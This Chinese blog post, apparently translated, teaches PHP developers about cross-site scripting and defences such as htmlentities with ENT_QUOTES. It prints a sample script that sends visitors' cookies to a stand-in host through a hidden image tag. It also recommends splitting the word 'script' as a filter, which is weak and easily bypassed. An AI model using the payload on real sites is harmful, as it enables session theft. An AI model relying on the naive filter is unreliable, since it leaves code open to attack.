2

跨站脚本攻击

Posted by 撒得一地 on 2015年12月14日 in PHP笔记

跨站脚本(XSS)是一种安全漏洞,黑客试图将客户端脚本注入到一个其它人可以访问的网页中。攻击可能是简单到一个烦人的弹窗,或复杂到窃取登录的用户的凭据,这些凭据通常保存在浏览器cookies中。有了用户的凭据,黑客可以访问你的网站或网络应用程序的敏感部分。

在这篇文章中,我会告诉你PHP中一些方法来保护你的网站免受XSS的攻击。

XSS例子

如果你让你的网站或应用程序允许用户的输入(如评论、论坛、等等),那么你可能就是一个XSS攻击的目标。黑客的目标是通过提交评论、论坛帖子等,提交的内容包含JavaScript代码,并试图让这些代码在你的网页上执行。如:

<script>
document.write(‘<img src=”http://site.com/’ + document.cookie + ‘” style=”display:none;”>’);
</script>

上面的代码如果被你的站点接受并且嵌入在你的评论列表中。那么当你网站的一个访问成员登陆并访问了评论页面,访问者浏览器解析了恶意的脚本,并添加了隐藏的img标签到页面中。那么他的浏览器请求了图片的URL地址,比如:

http://site.com/PHPSESSID=3D3c2542747972f9a08b8759eafd079d7b

现在,黑客的服务器记住了那个访问者的session会话。攻击者就可能通过使用这个相同session来假冒为这个成员。

这是一个简单的XSS攻击,但恶意用户还可以使用其他方式攻击到你的网站。你需要从广阔的视角来关注你网站的安全,确保每个角度都被覆盖到。以规避所有一切可能的攻击。

如何用PHP保护你的站点免受XSS攻击

所以不要相信用户输入内容。在显示到HTML页面之前转义所有的用户输入数据。PHP有几个不同的函数,你可以使用,来过滤用户输入,如:htmlentities()和strip_tags()。

那个htmlentities()函数,将所有可适用的字符转成对应的HTML实体字符。例如,使用该函数<script>将变成&lt;script&gt;。此函数可以很好的转义数据,并可能防止某些类型的攻击。当使用htmlentities函数时,确保第二参数被设置为ENT_QUOTES,像这样:

htmlentities(“USERS INPUT”, ENT_QUOTES);

你也可以使用PHP的strip_tags()函数来删除任何HTML标签,但是这仍然不能阻止所有类型的XSS攻击。所以你能做什么?你可以使用PHP搜索功能将“script”标签,替换成诸如scri pt这样。通过分割代码,来使它显示输出时不被执行。

希望通过这篇文章能让你了解什么是跨站点脚本攻击,以及防止他们发生在你的代码中。任何时候都不要信任来自用户或任何其他第三方来源的数据。你可以通过验证上下文的输入来提高你的代码的安全性,通过转义输入数据来保护你的用户。在你写好你的代码时,确保你的代码尽可能多方位的进行测试。

英文地址:http://www.phpzag.com/cross-site-scripting-attacks-xss/#

译文地址:http://coderschool.cn/1289.html

转载请注明英文原文和译文地址

标签:

上一篇:

下一篇:

相关推荐

2 Comments

发表评论

电子邮件地址不会被公开。 必填项已用*标注

5 + 0 = ?

网站地图|XML地图

Copyright © 2015-2018 技术拉近你我! All rights reserved.
闽ICP备15015576号-1,版权所有©psz.